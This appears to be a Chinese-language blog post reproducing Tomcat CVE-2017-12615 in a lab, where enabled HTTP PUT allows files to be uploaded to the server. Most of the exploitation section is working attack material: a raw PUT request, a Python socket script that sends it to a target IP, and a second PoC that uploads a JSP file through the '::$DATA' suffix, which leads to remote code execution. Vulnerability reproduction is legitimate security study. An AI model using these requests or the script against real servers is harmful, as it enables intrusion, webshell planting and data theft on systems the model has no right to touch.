Tomcat CVE-2017-12615 遠程上傳漏洞復現
阿新 • • 發佈:2017-10-03
pan 技術分享 port style 運行 下載鏈接 imp put tom
漏洞名稱:CVE-2017-12615-遠程代碼執行漏洞
CVE-2017-12615:遠程代碼執行漏洞
當 Tomcat運行在Windows操作系統時,且啟用了HTTP PUT請求方法(例如,將 readonly 初始化參數由默認值設置為 false),攻擊者將有可能可通過精心構造的攻擊請求數據包向服務器上傳包含任意代碼的 JSP 文件,JSP文件中的惡意代碼將能被服務器執行。導致服務器上的數據泄露或獲取服務器權限。
通過以上兩個漏洞可在用戶服務器上執行任意代碼,從而導致數據泄露或獲取服務器權限,存在高安全風險。
影響範圍: Apache Tomcat 7.0.0 - 7.0.81
首先在Tomcat官網下載7.0.81版本
下載鏈接:http://mirrors.shuosc.org/apache/tomcat/tomcat-7/v7.0.81/bin/apache-tomcat-7.0.81.tar.gz
在Linux上搭建 把apache-tomcat-7.0.81.tar.gz文件解壓後放到/usr/local/目錄下
在終端裏進入bin目錄,並輸入./startup.sh開啟tomcat
隨後訪問http://192.168.149.129:8080端口就可以訪問到
漏洞利用步驟
在/conf/目錄下有個web.xml文件 打開添加readonly參數,屬性值為false
然後往目標服務器發送put數據包
PUT /123.html/ HTTP/1.1 Host: 192.168.149.129:8080 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 DNT:1 Connection: close Content-Length: 664<html> <head> <title>hack by sf</title> </head> <body> hack by sf! </body> </html>
該數據包是在目標的根目錄下生成一個123.html文件
這裏我們用Python寫了個利用腳本
代碼如下
import socket poc = "<html><head><title>hack by sf</title></head><body>hack by sf!</body></html>"; buffer = ( "PUT /123.html/ HTTP/1.1\r\n""Host: 192.168.149.129:8080\r\n" "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n" "DNT:1\r\n" "Connection: close\r\n" "Content-Length: 664\r\n\r\n"+poc) expl = socket.socket(socket.AF_INET,socket.SOCK_STREAM); expl.connect(("192.168.149.129",8080)); expl.send(buffer); expl.close();
運行後:
修改123.html的後綴可以達到上傳任意文件。
再貼上Tomcat 7.0.79的poc:
PUT /aedoo.jsp::$DATA HTTP/1.1 Host: 192.168.1.1:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8 Cookie: Connection: close Content-Length: 22 your jsp ma
Tomcat CVE-2017-12615 遠程上傳漏洞復現